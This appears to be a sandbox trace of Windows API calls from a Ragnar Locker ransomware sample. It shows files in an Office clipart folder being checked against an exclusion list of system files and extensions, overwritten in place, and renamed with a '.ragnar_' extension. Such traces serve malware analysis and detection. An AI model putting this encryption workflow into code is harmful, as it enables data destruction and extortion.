CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.125] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7154) returned 1 [0083.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1be9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.125] GetProcessHeap () returned 0x580000 [0083.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.125] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.127] VirtualAlloc (lpAddress=0x0, dwSize=0x1bf2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.127] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bf2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bf2, lpOverlapped=0x0) returned 1 [0083.131] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.131] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bf2, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.131] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bf2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bf2, lpOverlapped=0x0) returned 1 [0083.131] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bf2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.131] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.131] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bf2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.132] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.132] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.132] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.132] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.132] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.132] GetProcessHeap () returned 0x580000 [0083.132] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.132] CloseHandle (hObject=0xf4) returned 1 [0083.132] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" [0083.132] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.ragnar_FD7BD9FC" [0083.132] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.133] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0083.133] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.133] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099162.JPG" | out: lpString1="J0099162.JPG") returned="J0099162.JPG" [0083.133] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned=".JPG" [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="autorun.inf") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="boot.ini") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="bootfont.bin") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="bootsect.bak") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="bootmgr") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="bootmgr.efi") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="bootmgfw.efi") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="desktop.ini") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="iconcache.db") returned 1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="ntldr") returned -1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="ntuser.dat") returned -1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="ntuser.dat.log") returned -1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="ntuser.ini") returned -1 [0083.133] lstrcmpiW (lpString1="J0099162.JPG", lpString2="thumbs.db") returned -1 [0083.133] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.133] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.133] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.133] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.133] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.133] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.133] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0083.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.134] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19656) returned 1 [0083.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4cbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.134] GetProcessHeap () returned 0x580000 [0083.134] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.134] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.135] VirtualAlloc (lpAddress=0x0, dwSize=0x4cc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.136] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4cc8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4cc8, lpOverlapped=0x0) returned 1 [0083.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.137] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4cc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.137] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4cc8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4cc8, lpOverlapped=0x0) returned 1 [0083.137] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4cc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.137] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4cc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.137] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.138] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.138] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.138] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.138] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.138] GetProcessHeap () returned 0x580000 [0083.138] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.138] CloseHandle (hObject=0xf4) returned 1 [0083.138] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" [0083.138] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.ragnar_FD7BD9FC" [0083.138] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.138] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0083.139] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.139] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099163.WMF" | out: lpString1="J0099163.WMF") returned="J0099163.WMF" [0083.139] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned=".WMF" [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="autorun.inf") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="boot.ini") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="bootfont.bin") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="bootsect.bak") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="bootmgr") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="bootmgr.efi") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="bootmgfw.efi") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="desktop.ini") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="iconcache.db") returned 1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="ntldr") returned -1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="ntuser.dat") returned -1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="ntuser.dat.log") returned -1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="ntuser.ini") returned -1 [0083.139] lstrcmpiW (lpString1="J0099163.WMF", lpString2="thumbs.db") returned -1 [0083.139] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.139] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.139] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.139] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.139] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.139] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.139] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0083.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.140] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22356) returned 1 [0083.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x574b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.140] GetProcessHeap () returned 0x580000 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.140] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.141] VirtualAlloc (lpAddress=0x0, dwSize=0x5754, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.141] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5754, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5754, lpOverlapped=0x0) returned 1 [0083.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.142] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5754, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.142] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5754, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5754, lpOverlapped=0x0) returned 1 [0083.143] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5754, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.143] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.143] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.143] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.143] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.143] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.143] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.143] GetProcessHeap () returned 0x580000 [0083.143] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.143] CloseHandle (hObject=0xf4) returned 1 [0083.143] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" [0083.143] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.ragnar_FD7BD9FC" [0083.143] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.144] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0083.144] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.144] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099164.WMF" | out: lpString1="J0099164.WMF") returned="J0099164.WMF" [0083.144] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned=".WMF" [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="autorun.inf") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="boot.ini") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="bootfont.bin") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="bootsect.bak") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="bootmgr") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="bootmgr.efi") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="bootmgfw.efi") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="desktop.ini") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="iconcache.db") returned 1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="ntldr") returned -1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="ntuser.dat") returned -1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="ntuser.dat.log") returned -1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="ntuser.ini") returned -1 [0083.144] lstrcmpiW (lpString1="J0099164.WMF", lpString2="thumbs.db") returned -1 [0083.144] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.144] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.145] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.145] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.145] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.145] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.145] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0083.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.146] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21946) returned 1 [0083.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x55b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.146] GetProcessHeap () returned 0x580000 [0083.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.146] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, 